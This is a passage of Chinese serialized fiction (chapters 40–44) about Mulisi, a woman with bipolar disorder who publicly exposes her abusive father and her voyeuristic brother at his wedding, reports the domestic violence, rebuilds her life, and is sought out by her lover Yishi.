“大家好,我是新郎官的姐姐,也是看着他一步步从初恋走向婚姻的见证人。我说话有点慢有点粗糙,希望各位不要介意。我的弟弟出生在一个包容性很大的家庭,有一个爱喝酒的母亲和一个爱抽烟的父亲,还有一个患有双相情感障碍的姐姐。虽然,我只能算他半个姐姐。” 哈姆雷特一个个都突然瞪大了眼睛,仿佛台上那位是真正的复仇者而他们则是赝品。 安滨捏紧拳头,他是在场唯一一个知道音响扩大的不仅仅是一则玩笑的人,他仍不动如山地坐在那儿,只是因为不信自己的女儿能无耻到在那么多人面前丢人现眼。 “有些人听不明白什么是双相情感障碍,说得简单一点,我是个精神病,一切你们对精神病的刻板印象都可以叉在我身上,我不介意。当然,在这里我要感谢我的父亲,他及时阻止了我随地大小便和当众流口水。没办法,这就是精神病,你们以为的那样。” 笑声逐渐消弱了,午夜钟声敲响一般,纷纷躲进房间里门窗紧闭,只露一个窟窿偷窥。 “我亲爱的弟 弟不知晓姐姐的疾病,他甚至羡慕姐姐有个美好的前程。志隆,姐姐在这跟你坦白,你也会有个美好的前程的,一定的,这是我们基因里命中注定的东西,有科学依据的哦!“穆里斯人畜无害地提了提嘴角,威胁的感觉不要太享受。 “刚刚新娘子抛捧花的时候,差点砸到我,那一桌姑姨叔伯,也在给我催婚,说什么弟弟都结婚啦,姐姐还是单身。澄清一下啊,我不单身,我有男朋友的,人在挪威,俄美混血,蓝眼睛,老高个儿,床上功夫了得。还有,我以前在国内也有个对象,和我一样是985,和我一样是高材生,也和我一样是女生,父母不同意嘛怎么办,安滨说要把我的头拧下来,只能分掉了。” 祝福逐渐扭曲成独角戏,穆里斯根本是在强取豪夺。 主持人一句话也插不上,往舞台下瞥去,新郎新娘挂着岌岌可危的惨笑,好像他们只要还挂着看似体面的微笑,台上的一切都只是段子,一篇杜撰的表演。 “对了,滥交是我们精神病的传统美德,以防有人不知道,我补充一下。”穆里斯抬起手指向最靠近舞台的那一桌来宾,“没错,就是你们这种眼神,想听更多的八卦,欢迎来找我要联系方式。” 她叹了口气,继续说道:“你们是女方家人吧,头一回见到你们,幸会幸会。我跑去北欧自杀的之前,志隆还没和我说过要结婚的事,时代发展得真快啊是吧……” “够了!” 安滨终于无法忍受这个可恶的告密者,呵斥着穆里斯的名字,三两下冲上台,沉气向众人解释道:“我女儿喝多了,发酒疯呢,让大家见笑了,本来是我老婆上来说的,来,老婆,你上来说两句,我带她下去醒醒酒。” 穆里斯踉踉跄跄地被拽下台,脚踝处扯出一丝疼痛,步伐凌乱,真跟喝醉了似的。安滨一路把她拖出厅堂,重重甩在墙上。 “你疯了啊?!你亲弟弟的婚礼,你就这么糟蹋啊?!你是不是有病啊?!”他怒指她的太阳穴,像一把滚烫的火铳。 穆里斯抚平衣袖,云淡风轻地说:“我是有病啊,说了好几遍了,我都想问你是不是聋子。” “你这么跟你老子说话?你想怎样,把你送到精神病院你就开心了是不是?!” 穆里斯抬了抬眼,余光里有个人影正向这里靠近。她说:“我进去过了,在里头还有点人脉,你不必多此一举。” “什么时候?” “大四的时候,保研了没事可干,就进去住了一个月。” “保研?你保研了怎么没去读?” “关你屁事。” 安滨用力扇下一巴掌,“你会不会好好说话?!” 穆里斯感到一阵耳鸣,先想到的是伊实教她的狩猎技巧,枪口对准猎物的心脏,毫不犹豫地扣下扳机,她是21世纪最伟大的猎手。 “爸!你干什么!”安志隆拉开父亲,挡在瘦小的穆里斯身前,充当这个家的和平鸽,“再怎么样你也不能动手啊!” 安滨冷哼一声,“对没良心的东西讲什么仁慈,你以后也别叫她姐了,她就是个神经病。” 穆里斯苦笑,傻爹还真是个聋子。 “爸,你先回去,我跟姐好好谈谈,她肯定是有心事,你这样解决不了问题。”安志隆支走父亲,走廊里只剩他们姐弟二人,和路过推餐车的服务员。 穆里斯揉揉红肿的脸颊,像一支芦苇倚靠在墙壁上,凝视着安志隆低垂的脸庞,迟迟不敢与她对视的眼眸,还有欲言又止的嘴角。 她又笑,雨后铜板不停生锈一般地笑。 “谈呗,不是好好谈谈吗?” 40-50 第41章 第41章慎点慎点慎点 自高中毕业之后,安志隆和姐姐的联系便急剧减少,就像历年的真题,做完一套少一套,和姐姐的团圆也是见一面少一面,明明他们曾是住在同一屋檐下抬头不见低头见的亲人。 亲人?从什么时候开始这个词被打上了问号。 姐姐永远大他两岁,他们之间永远隔着一块枕头,一堵墙,一栋教学楼,一座城市……姐姐一直在逃离这个家,他是知道的。安滨不是一个好父亲,他也知道。 姐姐挨过打,他也挨过打,父母共用一只手同时掐碎两个孩子的梦想,他和她一样是苦行僧。可他试着走出来了,姐姐也一定能。 “姐,你说的那个病,是真的吗?”安志隆问。相比穆里斯,他实在不是读书的那块料,补了很多课还是没考上一本,面对错题只会抄题干,不会主动写“解”。 穆里斯厌倦地将头往旁边歪了歪,没什么表情:“没听你爸说吗?还是真的需要我随地大小便给你看。” 安志隆一噎,从未见姐姐如此跋扈,他不免皱起眉:“你是不是在赌气?以前的你不这样。” 穆里斯为这场对话感到无比失望,耳朵被无缘无故亵渎了不说,中文也被迫浸猪笼般喊冤叫屈。安志隆不仅外语不好,国语阅读理解也是一塌糊涂。 “就谈这个啊,弟弟?”穆里斯背脊一挺站直身体,打算给他上最后一课,“那你仔细想想好了,你考上大学之后我就不常回家了,是为什么呢?也是赌气吗?”她的黑色瞳孔里藏着一片肃穆的黄褐色沙漠,“你觉得你藏的很好吗?关于房间里的一切?” 安志隆冒出一颗硕大的汗珠,顺着他的耳鬓一路腐蚀下去,看新娘的红裙看太久了还是怎么,他眼前直泛青光。 “我藏什么了?”他镇定下来,想到与姐姐的情谊,他们可是从小互相扶持着长大。 穆里斯微微打量眼前一身平整的西装,好似用熨斗来来回回轧了好几遍才改掉原先的乞丐形象,可惜了好布料,水一泼一拧又是一地污潦。 “摄像头,你忘了吗?”穆里斯不紧不慢地说,“天花板上,课桌前,床头,没忘吧?” 安志隆顿时全身发热。初中叛逆期时,他连续好几天通宵打游戏,父母发现后摔了他的手机,自此房间的天花板上就被安装了监控,他们姐弟俩的卧室都有。 “那些早就没插电了,多久以前的事了。再说了,又不是我装的。爸他现在也不搞这套了,你放心回家吧。”他说。 穆里斯看见死人会怜悯,看安志隆不会,所以不能说像看死人一样看他,确切地说是目光失去了生命力。 “安志隆。”姓名是审判书的开头,普通话二级甲等是她的增益,“我房间里的针孔摄像头,数不清有多少个。而我的裸。体,也被你看过数不清有多少遍。我刚刚没在台上说,是因为证据不在手边。紧张吗?我还有证据。你所有下流的行为,肮脏的思想,刻多少个正字都刻刻不完。” “你在说什么……” “你的呆钝用错了地方,不是所有事情都可以装傻充愣地一带而过。你以为结了婚万事皆太平,还是以为他们能给你兜底?说真的,安志隆,你和你爸没什么两样,高歌血浓于水那一套,实际上呢,是互相吸血的寄生虫罢了。” 安志隆生平第一次对这个女人感到害怕,补课时他犯再多错,错再多题,再多重蹈覆辙,姐姐也没有这样看过他。他分明什么也没做,什么也没做啊!却有一条名为“强。奸。犯”的银锁链扣在了他的脖子上。 “你……”安志隆咽了咽唾沫,艰难开口:“你到底想干什么?” 穆里斯两手一摊,“我不是正在做吗?” 揭开鞋底让这群人露出鸡眼,还不够疯癫吗?她的手都臭了。 安志隆无法作出更多的反应,唾沫干涸,咽喉长出仙人掌,成了所有在这个地方办过婚礼的年轻人中最窘迫的那个新郎。 “我以后会离你们远远的,老死不相往来,把这句话带进去告诉安滨,老死不相往来。你也看到了,我不怕在众人面前丢人,自杀过几回也不怕死,脑子彻底坏掉了,余生就想图个清静,再让我听到你们的消息,就都别活了。” 安志隆相信,如果她此刻手上有刀的话,一定会劈得他皮开肉绽。他没听过双相是怎样的精神疾病,但他清楚,她的确是疯了。 直至穆里斯消失在走廊,安志隆都没 找回自己的魂魄。他操纵着躯壳回到会场,和妻子解释突发事件的缘由,对父亲撒了个善意的谎言以送去宽慰,随后是用餐,索然无味,不,是烧焦的塑料味。 他今年22岁,是个成年男人了,已经不做小孩很久了,他可以负责的,处理好一切,是个正直的成年男人了……他才22岁啊,这么年轻,本科还没毕业,社会经验不足,为什么要摊上这种事啊! 安志隆无人可倾诉,颓丧的心情越来越沉重,甚至缺席了婚礼的最后一道工序,把新娘一个人留在了婚房。当然这是暂时的,他爱新娘,很爱,他不可能再遇到第二个这么爱的人了。眼下她怀有身孕,他就算晚点回去也没差。 姐姐是怎么发现的?安志隆终于敢想这个问题,如同做了一桌子的菜,他自知动了手脚,却在口味上焦虑许久,这样就能掩盖他的真实目的一样,最后失败了。 姐姐和他是同类人。安志隆执拗地想,姐姐和他不是同类人吗? 父母未买新房前,他们住在一间卧室的一张床上,大人说小孩哪有什么性别之分,玩泥巴玩沙子能玩到一起,睡觉也能在一起,等买了新房子,再给他们一人一间卧室。那时他马上要读小学一年级,姐姐升三年级,晚上睡觉时,姐姐会在他们之间放一个枕头,那个枕头几乎和他们一般高,说晚上三个人一起睡都不为过。 这样睡了两年,搬到新房那天,他问姐姐以后还能不能一起睡觉,姐姐什么话也没说,那是不情愿的意思。 姐姐成绩很好,不像他那样学习是一种被逼无奈。她的课本总会留给他用,包括笔记本和课外书,所有的学习资料,都会到他手上,但他始终无法依照父母的期望,和姐姐走一样的道路,他太累了。 “姐,你不累吗?”他问。 “累。”她说,“可是只有这样,爸爸才会多关心我一点。” 为了得到关心而每日挑灯夜读,安志隆无法理解,爸爸妈妈就是那种爱玩的人啊,爸爸妈妈出去玩,那么姐姐弟弟一起玩不就好了? 在成长这条路上,父母是无法缺席的。安志隆慢慢体会到了这一点。爸妈爱玩也爱嚼舌根,自己非但不做榜样还硬要卖弄一口的礼义廉耻。他和姐姐都有脾气,身高都在一点点增加,只不过,姐姐比他大两岁。 父亲拿滚烫的皮带抽姐姐的时候,他躲在沙发后面吓得瑟瑟发抖,姐姐的哭声和惨叫传染给了他,他也在大哭和惨叫。不要反抗,不要反抗…… 他要和姐姐一起好好长大,安志隆想,他们相依为命,永远不分开。 上初中后他逐渐情窦初开,男生之间时不时传一些荤段子,他不得不懂。姐姐读高中时有人追,他不自觉想到未来有一天姐姐成为荤段子主角的样子。姐姐懂这些吗? 竟然是懂的!他在学习资料里发现了小电影。姐姐平时也会看吗?姐姐和班里的女生不一样,她们太吵了太幼稚了,一点点动静就尖叫,姐姐是稳重的。 学习成绩什么的,无所谓了。安志隆事到如今也从未把学习放在心上。看见姐姐的全部,那天晚上,罪恶感和快。感同时裹挟着他的身心,他流了鼻血,流到桌上椅子上,他居然忘记了擦。 越观察姐姐,他越爱姐姐。他知道这个行为不对,但他没有对别人做过,只对姐姐,而姐姐是他的家人。偷家里的钱不能算真正意义上的偷,是家里的。 “她怎么发现的啊……”安志隆喟叹。 …… 穆里斯回到安滨的房子,她的卧室现在一半是儿童玩具杂物间一半是杂物间。回来这一趟她不准备带走什么,除了拍下能毁掉他们工作前途的东西以外,她还打算在那对傻逼夫妇的床头留下几个鞋印。别说进门要脱鞋了,上床她也不脱。 任何断绝亲子关系的协议都不具法律效力,基因上扯不开,法律上也扯不开,她本想在阴阳两界找路子,可如今她有了念想不想死了,那么只有一个法子,让他们主动对她避之不及,然后她安心地等他们死掉。 野马因为一根缰绳从谋爱卑微地沦落成谋生,又因为一片宽阔的草原从谋生复苏回谋爱。 乖悖的穆里斯面对进退维谷的境地再也不会犹豫了。 还差一些更具说服力的内容,比如视频,语音,以及流言蜚语。 第42章 第42章只要这种事仍在世界的某…… 想不出有什么比毁掉一个女孩更轻而易举的事情了。不如说她们太过脆弱和矫情,如本就有裂痕的瓷器,滚烫的水一泼,她们就要四分五裂。更别提大张旗鼓地把她们送上花轿,等待她们的是乳臭未干的配偶。 她们一厢情愿地将爱与自我挂钩,与真理挂钩,追求平等和法治,讲公道讲诚信,然而一旦听到回答“首先,你们女人……”,便痛心疾首哭个不停。 女孩们,生下来就在这个世界里关禁闭。 即便万分小心地做好了心理预期,穆里斯还是被眼前的步履维艰折磨得夜不能寐,苦到极致的时候,只是碰上超市没来得及补货卫生巾的情况,她也要难过一整晚。 老房子的环境一若枯掉的葡萄藤,她在附近租了一段时间的宾馆,举起手能摸到空调机子的单人间,这已经比她刚回来时在医院急诊白嫖输液室的按摩椅要好多了。 除了和无处不在的偏见作对,穆里斯更甚于抵抗细胞中逃跑的冲动。她想要温暖的怀抱,烟酒味的亲吻,不属于任何典故的情话。她分明可以什么都不管地接纳那份幸运,却自作聪明孑然而归,离开了止痛药后满地打滚。 一天晚上站在镜子前,她又开始厌恶自己。 “怎么办?怎么办啊!你有办法吗?怎么办啊……没有人重视。你说苹果烂了请注意,他们说你干嘛不吃香蕉啊。你说食物中毒啦,两眼发昏!他们说难道有人害你不成?你的意愿有用吗?被拿去当厕纸了!你还在渴望被理解吗?有人听吗?你快要记不得他的声音了吧?会不会都是我们幻想出来的呢?穆里斯是你还是我?或者我们谁都不是?” 卫生间的瓷砖同寒冬雪地一样刺骨。 “你太脆弱了!竟然踮着脚尖在刀山上走,他们都穿鞋。你没办法的,周遭防不胜防,从此以后你每每路过一条街,都会成为一些人获取满足的渠道,断尾的哈巴狗。” “……” 穆里斯失魂落魄地倒在床上,感觉自己无比的渺小,好似懒惰成性的蛾蚋贴在潮湿的墙壁上。 “伊实,我好想你。” 她在穷尽时钟一生的寂静里呢喃。摔倒了,挣扎着要爬起来,每一寸动作都会牵扯到伤口。她故意让身体痛苦一些,好让幻想的能力重回巅峰。 不负所望,她梦见了伊实。 梦里他托起她的臀。部,从沙发抱到床上,然后和她一样侧身躺着,撑起脑袋,趁夜色四合的时机笑问道:“你今天遇见人猿泰山了,是不是?” “没有。为什么这么问?” “想不出别的能让你这样沮丧。” “让我沮丧的事情多的是!”她坐起来,把那些面对镜子时说的话跟他重复了一遍,往感伤里添油加醋,“我的生命被这样浪费,合乎情理吗?” 伊实抄起枕头捂住她的脸,两秒后掀开,又捂住,两秒后又掀开,扰乱了她的呼吸频率。 “你干什么?!”她的喊叫如同枕头肚子里厚厚的羽毛。 “驱逐你脑子里的蒙昧主义。”伊实说。 “什么蒙昧主义?我快要无路可走了!” “那你回来。”伊实抓住她的两只手,摁在自己的胸膛上,“回到我身边,可不可以?” 她愣住,呼吸一瞬间仿佛轻飘到了邈远的银河界。 “你也想回到我身边的,dontyou?”伊实细细抚摸她的脸庞,眼神化出水来,“就像你最初那样,抛下所有,遗弃所有,回到我身边,好不好?” 穆里斯的视线沾满了水渍,再也看不清伊实的脸庞。因为她的沉默,他自觉放开了触碰,恢复成往日靠在车门边抽烟的模样,朝她扬了扬下巴,开出一句玩笑话,然后渐渐消失在没有路灯和垃圾桶的幽静小巷。 “WhenIcallyoubrat,youbitemeroughlyevenmorethanashark.” 这一觉歪打正着地睡出了穆里斯的神志,就在她沉迷光怪陆离无法自拔之际,伊实令她想起了所谓“自我”才是她理应帮腔的对象,即便那个伊实全然是她幻想出来的,他的话也总能在她心上重重地起搏一击。 她之所以饱受鞭笞和轻视也还要回到这里,是为了在狩猎场不再摔倒,在马背上敢抬起头,是为了成为穆里斯。如果她就这样回去,仍然选择从这场战争中叛逃,那么总有一天,她会在炮。火的余烟中自焚而亡。 那天拂晓拥起一堆白雾,穆里斯起床冲了个澡,早早下楼退房,去往婚礼现场。 安滨发现他和以前一样孤立女儿的方法已经失去了效力。安志隆婚礼的第二天,穆里斯找来开锁师傅撬开了家里的门,并安静地坐在客厅的沙发上,没开电视也没看手机,干干地等待这座房子的主人回来。 “你还敢回来?!”安滨用力甩上门,他没发现锁被换了,毕竟他也同时忽略了没给自己女儿家里的钥匙这件事。 穆里斯摸出口袋里的手机,倒扣在茶几上,抬眼对安滨叫了声:“爸。” “还知道管我叫爸啊?你昨天做了多么丢人的事情你都忘记了吗?!”安滨动不动就上手对穆里斯的额头指指点点。 穆里斯微微往后靠,“以后就不管你叫爸了,安滨。”她站起身,从他的手臂下穿出去,“看来安志隆没跟你们说明白。” “说什么?” “这个家我不会再回了。” 安滨轻蔑地笑:“不回这个家你还能到哪里去?是谁供你吃供你穿还供你读书?赚了几个钱就家也不回,三个孩子里只有你最白眼狼。” 穆里斯瞟了眼看戏的继母和她的小儿子,真想让他们一起参与进来,那将节省很多时间。 “首先,”穆里斯兀的提高音量,“白眼狼也是被你打成白眼狼的。其次,我赚的那几个钱现在成了安志隆婚房的一砖一瓦,别以为我不知道在我消失的这段时间你们都做了什么。最后,我得好好说说,你儿子在亲姐姐房间里装摄像头,和你一样是个下三滥。” 很好,她又挨了一巴掌。 继母远远地惊呼:“说的都是什么啊这是……” “你再说一遍?!你再胡说八道试试?!”安滨从未如此愤怒,他向来深呼吸后立马就能沉住气,可当下他肺部里的气体异常紊乱,有些上气不接下气。原来是亲家尴尬的笑容和会场里一双双质疑的目光扼住了他的喉咙。 穆里斯不惧反上,“什么胡说八道?我还有照片呢看不看?他电脑里的记录你看不看?仔细检查一下你们的卧室吧,说不定你们也没躲过!” 又是一巴掌。 穆里斯更加大声:“下三滥!” 安滨一把拽过她的发尾,撕扯头皮,千斤的力度一掌一掌打在她身上,用本地方言里最刺耳的形容作盐水,一口一口喷在她的伤口上,“你再叫?!再叫?!” 那不叫了,够了,脸肿得够她撑到医院做伤情鉴定还顺路买杯奶茶解渴了。 穆里斯一头撞向安滨的腹部,得到自由后节节退步,身形不稳地胡乱弄倒矮柜上物品,幸运地摸到一把螺丝刀,对准安滨。虽然她眼冒金星,虽然几乎要染上哮喘,虽然螺丝刀头不停颤抖。 “脑子里褥疮泛滥的人是你不是我!你压根没本事打死我,没本事!只会打到最后留一口气,然后恬不知耻地说给了我二次生命。但我告诉你,我有本事,再动我一根汗毛,我会把你的肠子都捅出来。” 她说得太叫人食欲丧失,以至于继母慌乱地凑过来,又恶心又担忧地挡在安滨身前。 “你说什么啊!他可是你爸!” 不足肚脐眼高的小屁孩也扯着嗓子冲过来,拧她的大腿肉。 既然那么爱做勇士,不受点伤怎么算回事。穆里斯揪起小畜。生的领口复制了一套父权主义制巴掌。继母的尖叫,亲生父亲的怒吼,小孩的哭喊,不成形的茶几下面的碎玻璃和她的血,组成一张过曝的照片。再三重申,她不会再摔倒了。 以一挑三的硬碰硬绝非明智之举,在成功录下有效证据的时候她就该全身而退了,再这样下去只会让自己更加狼狈。 那又怎样? 那又怎样?! 做局的是这里的长女,她发挥了毕生的智慧和才智,计划这一切,已经很棒了,她掉眼泪,也是棒的,她叫苦喊累,也是棒的。 而还手的,是穆里斯,她不怕死,愿意成为这场韬略里的牺牲者,哪怕只剩一副骨架,她也要把最坚硬的一块向那边投掷而去,她是势均力敌甚至更为疯狂的复仇者,如果有自封名号的机会,她愿意成为一种报应,是上天让她成为一种报应的。 只要这种事仍在世界的某个角落发生,报应就不会停。 穆里斯甩开脸上多出一道新鲜裂谷的安滨,以及满脸眼泪和咒骂的母子,从牙龈里吐出一口带血水的唾沫。她爬过去攥紧证据,又一点点爬起身,将血抹在墙壁上,头也不回地走出门。 无云无风的夜晚,没有鸣笛,没有广告语,连犬吠也没有。 她扑通一下双膝下跪,对着虚空拜下身子。 第43章 第43章宁鸣而死,不默而生…… 在警局做客的第四个小时,穆里斯打了一个香菜和醋喜结连理的嗝,人民警察请客吃小馄饨,她想也不想地把两包醋全倒进去,汤也喝了个精光。 家暴告诫书终于到她的手上,她细细折叠起来放进口袋。正要离开时请客吃饭的民警问穆里斯:这就完了? 她脸上和手臂上的伤只是简单地处理了一下,眼角的泪痕也显出极大的雅量,不像心如死灰那卦,可也不能说非要人家一哭二闹三上吊才合理,只是被家暴的受害者,很少有她这样冷静沉着的例子,更何况她一句血债血偿的控诉都没有,被告知家暴告诫书只能起到震慑作用,不能追究对方法律责任时,她也没露出如临大敌的表情,这孩子太怪了。 穆里斯向民警点了点头,说:“完了。” “他以后再打你怎么办?”民警不免多嘴,他知道这很冒犯,并且不吉利。 “视频你们没看到最后吗?我会正当防卫。”她强调“正当”二字,在民警欲言又止的沉默中颔首道谢,迈开脚步走出警局。 穆里斯又在医院的输液室凑合了一晚,由于身上带伤,即使手背没连着吊瓶,她看起来也很像土著民,所以比之前少了一点心理负担,睡得踏实了些。 第二天她将那份告诫书复印了几份,去往邮政局寄出,包含手写信在内寄到安滨的单位。这可能也会让她自己身败名裂,然而宁鸣而死,不默而生,她正是要嚷嚷到人人听说为止。 随后联系她在职期间一位交好的同事,询问好马不吃回头草和死鸭子嘴硬改成卧薪尝胆的几率有多大。 意外天降好消息,那个疑似秦桧转世的总监拍马屁拍到了马腿上,钉钉号还没来得及注销就被踹出了公司。好的,总监教训下属时常用的口头禅“没有新意,不时尚”终究打在了他自己身上,意思是他那一脸合成肉终究以一种毫无时尚感的姿态埋没在人群里。 穆里斯坐在马路牙子上闷声笑,埋在膝盖间震震而笑,招来了灌木丛 里的一只狸花猫,波浪形的尾巴轻蹭她的小腿。 “干啥,我可没吃的。” 她伸手摸它柔软的背,猫听懂了似的无情走开,三秒后又被逗猫棒树枝吸引,原来好马吃回头草也能很可爱。 穆里斯一边逗猫一边自说自话。按照搭讪的节奏她应该夹着嗓子说点萌萌的夸赞,但她不是轻浮的人类,当下的状况更像是在传播足疗间的八卦。 “什么叫百因必有果,这就叫百因必有果,你说对不对?否极泰来——时来运转——”她每说一声,就抬高一次树枝,狸花猫举双手赞成。 “会有出路的,好好发挥仅有的几两才能,攒点小钱,去罗弗敦找伊实,好不好,嗯?”猫咪过于可爱,她不自觉还是夹起了嗓子,“对啦,停药那么久,没有伊实,头疼的毛病又开始了,先去看医生,好不好呀?病咱也好好治,还要去健身,练出和伊实一样大的肱二头肌,一拳一个小瘪三,好不好?” 狸花猫说:“喵——”尾音听起来就像是飘着彩带的“好——” 一个月后穆里斯在春风吹又生的带领下成功复职,从出租房走路到公司恰好是樱花飘落的距离,坐地铁到精神卫生中心恰好是15页《罪与罚》的时间。 有几次被同事撞见,当然这在所难免,以前她总偷偷摸摸地挑工作日去取药,现在大大方方地蹲在医院门口吃烤玉米,同事问她为什么在这里,她说:里面不让吃东西。 后来她是个精神病人的事不仅被部门里的人知道,领导也听说了。大城市就这点好,见多识广不轻易大惊小怪,没什么人对病症说三道四,只不过她隐隐约约地感觉到周围“啊那她岂不是德不配位”的视线。 好在穆里斯不抱升职加薪的奢想,无论工作还是交友都很豁达,就像莎士比亚的十四行诗那样音组整齐。 缺憾在于,到了夜晚和月经周期她就跟变了个人似的,多声部音乐吵得她头疼欲裂,栽在亲手编写的紧箍咒上,下意识掐大腿以求解脱。 过了很久很久,璀璨的夏日以及温和的秋风悄悄带走了穆里斯十斤体重,现在她不但要面对病例本上“心境障碍”四个字,还要为“肠胃炎”这一条目感到害羞。 她把自己养得很差。 穆里斯觉得自己好丑,伊实曾在插旗帜的时候不止一次强调她有一个举世无双的好。臀。部,她说:哦,这样才配得上你举世无双的好。胸。部。完蛋了,世界上享有盛誉的两种举世无双她都没抓住。 于是飞往罗弗敦的计划再次推迟。 穆里斯费心费力地调养身体,等她心满意足地验收成果时,第二个春天已然到来。 新年之后公司实行“优化”策略,穆里斯躲过了业绩考核的第一轮,没躲过把咖啡豆换成速溶咖啡的第二轮。 存款足够她逍遥一阵子,比如看电影或者办健身卡,比如培养马术爱好,再比如飞到北欧给某个人展示举世无双……可是什么都逍遥过了之后,到最后一项,穆里斯不得不承认,它从愿景悄无声息地变成了潘多拉魔盒。 她怕,伊实其实已经忘了她,假设没忘,即便没忘,和漫长的等待相比,四十多天的回忆实在太微不足道。 主要是,没留任何信息且搬起石头砸脚的正是她本人,忍受着心脏强烈的绞痛还要坚持不独立毋宁死誓言的正是她本人,结果到头来妄想被找到的也是她本人。 都怪最后那段时光太甜蜜了,甜蜜到可以定个罪,禁锢罪和玩物丧志罪。所谓一见钟情和风光霁月只在罗弗敦那片小小的峡湾里发生,他们的爱情被禁锢在那里,哪儿也不去,或者说哪儿也去不了。 要不算了吧,穆里斯想。她在情感上谨慎得几乎失去了道德,停留在伊实最爱她的那一刻已经算是至高无上的幸福了。只要不再争取,将豁达贯彻到底,她就不用承担被拒绝的风险。 伊实肯定找过她,一鼓作气要把中国翻个底朝天,又愤怒又可怜地空手而归。然后就没有然后了,一定是这样。 要不就算了吧。 穆里斯放弃了另求他职,体会到啃老本的自由后,日复一日的打卡上班,和皮笑肉不笑的人打交道,这些统统在破坏她与快乐之间的平衡。她做了一个违背全体具有冬眠习性的哺乳动物的决策:将所有积蓄投入一间连办公桌都没有的个人工作室。 工作室有一扇门和两扇窗户,靠近非机动车停车篷,遇到下雨天有人在工作室的屋檐下躲雨,穆里斯会鬼鬼祟祟地关掉灯假装主人不在家。那时工作室没有一点起色,就像没有涂上奶油的蛋糕胚,难登大雅之堂。 创业初期的很多时间里,穆里斯质问虚空那边的自己,干这些到底有什么必要?是要夸夸其谈当选总统,还是博得眼球文艺复兴?蛋糕胚也是蛋糕,动到人家的蛋糕了,路注定不会好走。虚空的回答十分反面,倒着骑的自行车,它说:不然你想干什么?人活在世上不是推这个石头就是推那个石头,你不推上去怎么知道是金字塔的哪一块。 26岁生日的前一晚,穆里斯在工作室熬成了一锅糊粥。为了一单委托,她不惜推迟吃药的时间,把一天24小时拉成36小时,地球在她这儿转得比别人慢,也是疾病的副作用。 纵容躁狂透支身体的代价正如跳楼机最高点的加速度,悬着的心不断下坠,她在策划案上睡着,又很快惊醒,时钟只过去半小时,日历却翻篇了。 她走过去打开窗,忽然的冷空气还没许愿就吹灭了她的蜡烛。 那便不许了。 她抬头看月亮,月亮缺了一半。 “又到冬天了,伊实。” …… 暴风雪停在羽绒服拉链被拉上的瞬间,伊实驾轻就熟地开向机场,这条路他闭着眼也能开,只是副驾的布鲁克不同意。 “何必这么着急,哥们,你千万别手指头一痒就把轮胎陷进雪里。”布鲁克微微犯困,不想在一大早当泊车老年工。 “为了你的狗屁生意我在洛杉矶受够了稀薄的氧气,也该到你回报的时候了。”伊实说。他放慢速度,寻找路边合适的临时停车点,想下去抽支烟。 为了此次航班他出门前特地仔细刮了脸,这个原因导致他在户外抽烟时,下巴感到一丝莫名清凉。 极夜的气候压根见不到一点太阳,对清晨自然不必抱有不切实际的期待。布鲁克趴在车窗上等待,他戒烟的年龄快有穆里斯那么大了,无论是雪茄还是胡。麻,让他感觉到累而非兴奋的时侯,它们就已经失去了意义。 “嘿伊实,”特殊的纪年法让布鲁克想起一件事,“你说,今年她多大了?” 伊实踩灭烟头,说:“快29了。” 第44章 第44章如果你爱我,你会来找我…… 候机厅无法理解一个人类几次三番搁浅在它身上,却仍学不会放弃和自保。 伊实藏在白色口罩下的嘴巴被驯服了相当长的一段时间,成功拿到中国工作签之前,他被传说中铁面无私的家伙拒绝了整整三个回合,最好别让他知道躺在办公椅上不注重身材管理满口正义伦理还优哉游哉盖章的人是谁。 他想破头也不明白专员问一串有的没的不如上谷歌搜索的问题,他坐在那儿像一个乞求减刑的犯人一样对答如流,结果 收到的竟然是“不通过”。 哪里出了问题?他顶多进过几次LA的拘留所,那也是未成年时期不可避免的拳脚发育。还是他曾在两家银行的失信名单上呆过的历史被朝花夕拾了出来? 都不是,是一切顺理成章专员几乎放松警惕神游天外一边想等会点什么咖啡一边问出一个白痴的问题:“你到中国干什么?”而他的回答是:“找一个人。” 这个回答在工作签的申请流程中出现,好比在商店购买菜刀时无缘无故强调鹿的顽劣。指鹿为马即使出于不得已,也完全是一种否定,所以伊实不愿意妥协,就像给他一千万美元他也不会说出苹果酒比威士忌好喝这种丧尽天良的发言。 风向标始终往东方奔突。 暴风雪的来向也耐人寻味。 这时候到中国长期生活不亚于飞蛾扑火,撕开衣服暴露在新型冠状病毒组成的孜然粉下,串成一串,捅遍大街小巷的喉咙,烤焦后退化成笔挺的牛蛙。 “你别来找我。” 穆里斯短短一句话,就让宇宙无所不用其极地辅佐她登基,她干什么都会成功的。伊实颇为嗤之以鼻。 新冠全面爆发的前几年,伊实已经游遍了中国的32个省,大海捞针捞的手都泡发了,没有功劳也有苦劳吧,可他最后不仅什么也没得到,连一张生化危机的入场券也没有。别说出国了,他连飞机票都买不到,早知道最后一次云南之旅他就该滞留在中国,钻个“为形势所迫”的牛角尖。 申请不通过他就一直申请,与其说是申请,不如说强求更为贴切,submit上去的仿佛不是申请表,而是病毒抗体,专门消杀阻碍他的小人。他干什么也都会成功的,伊实想。 签约中国东部H市的一家模特公司之后,伊实用半年时间打听到了“An”的去向,虽然很模糊,只有个姓名,还是听说来的,既没有照片,也没有联系方式,但还好不是和某块墓碑有关,否则野生蝙蝠将取代马森成为他的一生之敌。 找到泉眼再蓄水简直事半功倍,伊实给经纪人打去电话。 “Lee,今晚的活动我不去了。” “为什么?还有一个半小时就开始了!” 天空正在下毛毛雨,若即若离地消融毛孔间的空隙,伊实从出租车上下来,身上没带伞,雾里雨里脚步急切,然而急切却不是因为雾雨。 听到车门关上的动静,经纪人追问:“你去哪儿了?” “万达。”伊实说,“我有急事,让弗利康替我上吧,他会感谢我的。” “开什么玩笑?!你俩都不是同一肤色!”李在电话里赶鸭子上架,品牌方已经派人来催了。 “这有什么?有种族歧视的品牌趁早倒闭,它是吗?”伊实在一层四处巡视,为了不分心,撂下一句:“Anyway,Igottago.”便挂了电话。 自动扶梯像一根麻花那样拧了六层,伊实一层一层兜绕,终于在六层的卫生间前捕捉到了那张熟悉的侧脸。 她细长的脖子埋在高领针织毛衣下面,黑色头发用一个琥珀色夹子盘起,和他隔着十几米的距离,包括但不限于餐厅的揽客吆喝、几张菜单以及黑白蓝新时代三原色口罩。 五年,五年见得这一面,守口如瓶快萎缩成没出息了啊,穆里斯。伊实心跳如疾风经过竹林,沙沙作响,脚下这座城市重新变得陌生,因为他眼前有更加亲切的归处。 伊实迈出步子,风衣一角擦过路人的裤腿,雾和雨早就干了,他目不转睛地盯着她。她对着玻璃涂口红,上下唇贴合抿了两下,然后戴上口罩,低下头牵起了一个小男孩的手。 